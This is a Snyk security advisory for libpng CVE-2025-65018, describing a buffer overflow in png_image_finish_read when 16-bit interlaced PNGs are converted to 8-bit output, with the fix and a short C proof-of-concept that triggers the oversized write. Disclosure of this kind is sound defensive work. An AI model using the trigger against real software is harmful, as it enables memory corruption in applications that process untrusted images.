Out-of-bounds Read Affecting libpng package, versions [1.6.32,1.6.51)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-CONAN-LIBPNG-14103852
- published24 Nov 2025
- disclosed23 Nov 2025
- credityosiimich
Introduced: 23 Nov 2025
NewCVE-2025-65018 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade libpng to version 1.6.51 or higher.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the png_image_finish_read function when processing 16-bit interlaced PNG images and converting them to an 8-bit output format. An attacker can create interlaced PNG files that trigger heap writes beyond the allocated buffer limits.
PoC
png_image image;
memset(&image, 0, sizeof(image));
image.version = PNG_IMAGE_VERSION;
png_image_begin_read_from_file(&image, "malicious.png"); // 16-bit RGB, interlaced
image.format = PNG_FORMAT_RGBA; // 8-bit output
size_t size = PNG_IMAGE_SIZE(image); // Returns 4096 bytes
void *buffer = malloc(size);
png_image_finish_read(&image, NULL, buffer, 0, NULL); // Writes 6144 bytes (VULNERABLE!)